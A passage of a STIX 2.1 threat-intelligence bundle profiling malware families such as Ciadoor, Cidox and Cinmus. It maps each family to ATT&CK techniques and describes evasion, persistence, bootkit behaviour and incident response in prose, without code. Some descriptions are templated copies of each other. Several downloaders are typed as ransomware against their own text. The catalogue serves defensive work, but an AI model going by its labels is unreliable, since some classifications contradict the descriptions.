      "source_ref": "malware--0e1caa39-2cce-5e77-9dca-9c1e0dd21329",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chthonic exhibits technique T1185 (Browser Session Hijacking)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--63c41319-6aea-5d01-bf0d-eaa93a5f88ac",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0e1caa39-2cce-5e77-9dca-9c1e0dd21329",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chthonic exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b96277f3-2b56-5dee-aafe-f154b9c0404c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0e1caa39-2cce-5e77-9dca-9c1e0dd21329",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chthonic exhibits technique T1071.001 (Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4396dcd6-98c4-562b-b330-d1d8af202836",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0e1caa39-2cce-5e77-9dca-9c1e0dd21329",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chthonic exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ed41c7cd-f0ae-5e9d-a3bf-08d4081ab955",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0e1caa39-2cce-5e77-9dca-9c1e0dd21329",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chthonic exhibits technique T1566.001 (Spearphishing Attachment)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--52cd1bbb-c14e-5961-af83-bcdd91389116",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Chupik",
      "description": "Trojan:Win32/Chupik is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Chupik</b><br>To an end-user, a Chupik infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Chupik is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Chupik is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Chupik frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Chupik reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Chupik",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/chupik"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--542b4ccc-534d-57b8-92c8-b2cb89ced56c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--52cd1bbb-c14e-5961-af83-bcdd91389116",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chupik exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8f3c48fa-a650-5ae4-8374-afd9d0cb955d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--52cd1bbb-c14e-5961-af83-bcdd91389116",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chupik exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3aa33ac3-9bb9-5642-b027-8fa817b4fe47",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--52cd1bbb-c14e-5961-af83-bcdd91389116",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chupik exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e58727ca-1588-58d3-aac5-6cdc8f9ac991",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--52cd1bbb-c14e-5961-af83-bcdd91389116",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chupik exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c7cd324c-ad59-5d8a-aff8-b2e129f89283",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--52cd1bbb-c14e-5961-af83-bcdd91389116",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Chupik exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--cb39691a-7f9b-5bef-b636-3e956f1ff036",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cia",
      "description": "The CIA virus is a classic DOS-based file infector that primarily targets .COM and .EXE executables. Emerging in the early era of PC viruses, it employs memory-resident techniques to intercept DOS interrupts, allowing it to silently append its viral payload to uninfected host files upon execution or file access. The virus often utilizes basic polymorphic or encryption routines to evade primitive signature-based detection mechanisms common during its time. Once resident in memory, it monitors file operations and seamlessly infects clean files, which contributes to a rapid but stealthy propagation within local systems. Although largely obsolete in modern operating environments due to the transition away from MS-DOS architecture, analyzing the CIA virus provides foundational insights into the evolution of memory residency, interrupt hooking (specifically INT 21h), and parasitic file infection strategies that later evolved into more sophisticated rootkits and bootkits. (Observed samples in benchmark: 12)",
      "is_family": true,
      "malware_types": [
        "virus"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "DOS.CIA",
        "CIA.Virus"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cia",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cia"
        }
      ],
      "labels": [
        "file_infector",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--be9fc237-f881-595c-88cd-2c209a578593",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cb39691a-7f9b-5bef-b636-3e956f1ff036",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cia exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cd4d7789-0670-578c-840a-2c8e149eaed7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cb39691a-7f9b-5bef-b636-3e956f1ff036",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cia exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--91fc7164-9135-54b3-9745-33362a193fc4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ciadoor",
      "description": "<h3>Executive Summary</h3>\nCiaDoor is a stealthy Remote Access Trojan (RAT) and backdoor designed to provide threat actors with persistent, unauthorized administrative access to compromised Windows endpoints. Its name implies covert access, and it is frequently utilized in targeted corporate espionage and data exfiltration campaigns.\n\n<h3>Technical Architecture and Capabilities</h3>\nCiaDoor typically employs a client-server architecture, where the malware payload silently establishes a reverse connection back to the attacker's administration panel, bypassing inbound firewall restrictions.\n\nOnce installed, CiaDoor provides a comprehensive suite of malicious capabilities:\n<ul>\n<li><strong>Remote Shell Access:</strong> The attacker is granted a remote command-line interface (CLI) to execute arbitrary commands with the privileges of the compromised user.</li>\n<li><strong>File System Manipulation:</strong> A covert file manager allows the attacker to browse directories, exfiltrate sensitive intellectual property, and upload secondary payloads.</li>\n<li><strong>System Surveillance:</strong> Advanced variants of CiaDoor include modules for real-time keylogging, capturing screenshots, and intercepting clipboard data to steal passwords and sensitive communications.</li>\n<li><strong>Evasion:</strong> It frequently utilizes process hollowing to inject its malicious threads into legitimate system processes (like `svchost.exe` or `explorer.exe`) to mask its presence from Task Manager and basic antivirus scanners.</li>\n</ul>\n\n<h3>Threat Impact</h3>\nA CiaDoor infection constitutes a total compromise of the affected endpoint. The attacker possesses the ability to monitor all user activity, steal data, and utilize the compromised machine as a pivot point for lateral movement deep within the corporate network.\n\n<h3>Detection and Incident Response</h3>\n<ul>\n<li><strong>Behavioral Analytics:</strong> Deploy EDR platforms tuned to detect anomalous process injection techniques and unexpected child processes (like `cmd.exe`) spawned by standard system binaries.</li>\n<li><strong>Network Traffic Analysis:</strong> Monitor edge firewalls for persistent, anomalous outbound connections (beaconing) to unknown IP addresses over non-standard ports.</li>\n<li><strong>System Re-image:</strong> Due to the deep system hooks and the potential for secondary backdoor deployment, the most secure remediation strategy for a CiaDoor infection is a complete wipe and re-image of the compromised endpoint from a known good baseline.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor.CiaDoor",
        "RAT.CiaDoor",
        "Win32/CiaDoor"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ciadoor",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ciadoor"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--60787f51-3c93-522b-84e0-7a0d03b9828d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--91fc7164-9135-54b3-9745-33362a193fc4",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ciadoor exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cbf04802-02a2-5f47-8020-0aaea96cdec0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--91fc7164-9135-54b3-9745-33362a193fc4",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ciadoor exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9257d4e9-e336-5e27-bd13-2d5acc85217f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--91fc7164-9135-54b3-9745-33362a193fc4",
      "target_ref": "attack-pattern--691c027d-f463-5203-86d8-b530600c6c62",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ciadoor exhibits technique T1055.012 (Process Injection: Process Hollowing (RunPE))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9c8a244d-4fb0-53f1-97aa-947f1d8b85ba",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--91fc7164-9135-54b3-9745-33362a193fc4",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ciadoor exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7d2408de-1f87-5afe-89ac-c6cfde520f30",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cidox",
      "description": "<h3>Executive Summary</h3>\nCidox (also heavily associated with the Rovnix family) is a highly sophisticated Bootkit and Trojan framework. Emerging in the early 2010s, Cidox was engineered for ultimate persistence and stealth, utilizing advanced kernel-level rootkit techniques to survive operating system reinstalls and bypass nearly all traditional security software. It was primarily utilized as an initial access and persistence mechanism to silently deploy highly lucrative banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nCidox was primarily distributed via drive-by downloads from exploit kits (like Blackhole or Nuclear) or embedded within pirated software (torrents and \"warez\" sites).\n\nIts execution represents the pinnacle of complex, low-level malware engineering:\n<ul>\n<li><strong>Bootkit Persistence (MBR/VBR Infection):</strong> Unlike standard malware that hides in the registry, Cidox targets the fundamental boot process of the hard drive. It overwrites the Master Boot Record (MBR) or the Volume Boot Record (VBR). This guarantees that the malicious code executes *before* the Windows kernel or any antivirus software even loads into memory.</li>\n<li><strong>Kernel-Mode Rootkit:</strong> Once the OS boots, the bootkit injects a malicious driver into the Windows kernel space (Ring 0). This rootkit intercepts system calls (API hooking), allowing Cidox to completely hide its files, registry keys, and active network connections from the user and security software.</li>\n<li><strong>Payload Delivery (Banking Fraud):</strong> With absolute stealth achieved, the Cidox framework silently downloads and executes its primary payload\u2014usually a sophisticated banking trojan designed to perform web injection and steal financial credentials.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe detection of a Cidox infection is a critical security failure. The presence of a bootkit indicates that the attacker has achieved absolute, unmitigated control over the endpoint. The malware operates below the visibility of the operating system, making standard forensic analysis incredibly difficult.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Ineffectiveness of Standard AV:</strong> Traditional antivirus scans running within the infected OS cannot be trusted, as the kernel-mode rootkit will actively lie to the AV scanner about the state of the hard drive.</li>\n<li><strong>Offline Eradication (Bare-Metal):</strong> The only reliable method to eradicate Cidox is a complete bare-metal wipe. The hard drive must be completely reformatted (including wiping the MBR/GPT partition tables) using offline media, and the operating system must be reinstalled from a known-secure image.</li>\n<li><strong>Secure Boot (Prevention):</strong> The rise of UEFI and Microsoft's \"Secure Boot\" feature (which cryptographically verifies the bootloader before execution) has largely rendered MBR/VBR bootkits like Cidox obsolete on modern hardware. Ensure Secure Boot is strictly enabled in the BIOS/UEFI settings for all corporate endpoints.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Rootkit.Cidox",
        "Trojan.Rovnix",
        "Bootkit.Win32.Cidox"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cidox",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cidox"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9b11c0fd-9d6d-5a64-a884-374e3f58febe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7d2408de-1f87-5afe-89ac-c6cfde520f30",
      "target_ref": "attack-pattern--ffd7b408-ecb7-571a-8d55-8263054af029",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cidox exhibits technique T1542.003 (Pre-OS Boot: Bootkit)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4f6e2ec3-e599-51e2-8d95-3f61a7d57eba",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7d2408de-1f87-5afe-89ac-c6cfde520f30",
      "target_ref": "attack-pattern--5b21f3ea-47ac-581f-9305-2d2e0cbe9c22",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cidox exhibits technique T1014 (Rootkit (Hiding files and processes))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--91b74f26-b259-5d81-a665-315b1bbe17a6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7d2408de-1f87-5afe-89ac-c6cfde520f30",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cidox exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7a92f3cd-4dd5-541c-8a43-863cdd4b11a8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cinmus",
      "description": "<h3>Executive Summary</h3>\nCinmus is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nCinmus is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Cinmus operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Cinmus ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Cinmus receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Cinmus infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Cinmus executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Cinmus frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Cinmus",
        "Downloader.Cinmus",
        "Win32/Cinmus"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cinmus",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cinmus"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c4416133-d657-5c59-b79a-a057f66ae578",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7a92f3cd-4dd5-541c-8a43-863cdd4b11a8",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cinmus exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fc89adb4-9249-52c6-9d6a-7e4a9bab2bf4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7a92f3cd-4dd5-541c-8a43-863cdd4b11a8",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cinmus exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--97e8bd58-9495-5b72-a2be-d59d4aac7968",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7a92f3cd-4dd5-541c-8a43-863cdd4b11a8",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cinmus exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3dca1c89-2e34-5394-a939-fa56e9327c7f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Citeary",
      "description": "Trojan:Win32/Citeary is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Citeary</b><br>To an end-user, a Citeary infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Citeary is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Citeary is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Citeary frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Citeary reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 8)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Citeary",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/citeary"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d86d753a-7192-516e-af68-b67c1e32577e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3dca1c89-2e34-5394-a939-fa56e9327c7f",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Citeary exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9e02b8a0-8470-5e61-bb2d-d266dcf9aed8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3dca1c89-2e34-5394-a939-fa56e9327c7f",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Citeary exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0a2cb98c-0a4f-574d-a344-a584ea1d5118",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3dca1c89-2e34-5394-a939-fa56e9327c7f",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Citeary exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a72d6488-c412-5b3c-b737-5dac96353d43",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3dca1c89-2e34-5394-a939-fa56e9327c7f",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Citeary exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c3d07c0f-94c8-5a9e-88aa-f03ed2930ece",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3dca1c89-2e34-5394-a939-fa56e9327c7f",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Citeary exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--135d8165-035a-5f93-b55c-d83cd64979cf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ciyaamgnrsg",
